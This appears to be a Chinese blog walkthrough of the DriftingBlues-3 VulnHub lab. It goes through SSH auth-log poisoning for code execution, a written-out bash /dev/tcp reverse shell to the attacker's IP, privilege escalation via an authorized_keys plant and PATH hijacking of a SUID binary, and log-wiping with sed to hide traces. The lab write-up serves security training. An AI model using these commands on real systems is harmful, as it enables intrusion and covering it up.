vulnhub靶场【DriftingBlues】之3

前言

靶机:DriftingBlues-3,IP地址192.168.1.60

攻击:kali,IP地址192.168.1.16

都采用虚拟机,网卡为桥接模式

主机发现

使用arp-scan -lnetdiscover -r 192.168.1.1/24

信息收集

使用nmap扫描端口

网站探测

访问80端口,并查看页面源码,发现有图片等信息,可能是网站型目录

使用gobuster、dirsearch、ffuf、dirb、dirbuster等工具扫描目录

shell 复制代码
gobuster dir -u http://192.168.1.60 -w /usr/share/wordlists/dirb/big.txt -x php,zip,md,txt,html,jpg -b 404 -d

访问robots.txt,发现eventadmins/目录

访问drual、phpmyadmin、privacy,发现都是信息ABCABCD

访问secret

访问wp-admin

访问eventadmins/目录

翻译一下,发现/littlequeenofspades.html页面

访问/eventadmins

漏洞寻找

查看页面源代码,发现编码aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==

解码这个

访问/adminsfixit.php,发现是ssh连接的认证日志,通过测试发现确实会记录ssh登录时的用户名、地址和端口

shell 复制代码
ssh test@192.168.1.60

尝试连接,修改ssh连接时的用户为php脚本,测试是否可以

访问页面

测试是否可行

漏洞利用

尝试使用bash命令反弹

shell 复制代码
bash -c 'bash -i >& /dev/tcp/192.168.1.16/9999 0>&1'
进行URL编码
bash+-i+>%26+%2fdev%2ftcp%2f192.168.1.16%2f9999+0>%261%0a

kali中开启监听,然后使用浏览器执行上面的反弹命令

靶机内信息收集

使用find寻找具有SUID权限和capabilites

shell 复制代码
find / -perm -4000 -print 2>/dev/null
find / -type f -executable 2>/dev/null | xagrs getcap -r 2>/dev/null

查看定时任务

shell 复制代码
cat /etc/crontab

查看网络状态信息

查看备份文件夹,看有无信息

使用find寻找其他用户具有可写权限

shell 复制代码
find /home -perm /2 2>/dev/null
-perm /2   是指其他用户具有可写权限,/2是指写权限

查看这个目录,发现具有写权限

提权

提权至robertj

kali生成ssh的公私钥

然后把公钥id_rsa.pub上传到这个目录下,改名为authorized_keys

然后使用ssh私钥连接

之前使用find寻找具有SUID权限文件,发现getinfo,在linux中并无该命令,测试该命令

把这个文件下载到kali

shell 复制代码
scp robertj@192.168.1.60:/usr/bin/getinfo ./

使用strings命令查看

提权至root

那么可以使用export设置临时变量的优先目录,最好在/tmp目录

编写脚本提权

shell 复制代码
echo "/bin/bash" > ip

查看flag

清除痕迹

清理日志

shell 复制代码
sed -i "/192.168.1.16/d" auth.log

删除之前生成的公钥

清除命令历史记录

总结

  1. 主要考证日志文件的利用,这里就是利用验证登录日志auth.log通过adminsfixit.php文件展露
  2. 然后就是考察ssh公私钥的使用
  3. 考察临时环境变量的优先级目录
相关推荐
绍磊leo3 小时前
ubuntu22.04无法同时有线+无线联网问题解决
linux·网络
车载测试工程师4 小时前
CAPL学习-ETH功能函数-方法类1
网络协议·学习·以太网·capl·canoe
不羁的木木4 小时前
【开源鸿蒙跨平台开发学习笔记】Day09:React Native 开发 OpenHarmony —— 仓库列表组件封装
笔记·学习·react native
YJlio4 小时前
SDelete 学习笔记(9.15):安全擦除、不可恢复与合规清退实践
笔记·学习·安全
●VON4 小时前
《不止于“开箱即用”:DevUI 表格与表单组件的高阶用法与避坑手册》
学习·华为·openharmony·表单·devui
fantasy_arch4 小时前
残差网络模型demo
网络·深度学习·神经网络
石像鬼₧魂石4 小时前
flag 是什么?
学习·安全
007php0074 小时前
redis缓存功能结合实际项目面试之问题与解析
网络·redis·nginx·缓存·面试·职场和发展·php
大江东去浪淘尽千古风流人物4 小时前
【MSCKF】StateHelper 学习备注
vscode·学习·性能优化·编辑器·dsp开发
岁岁种桃花儿4 小时前
一文了解什么是短网址以及他的做用是什么
网络·nginx·dns·短网址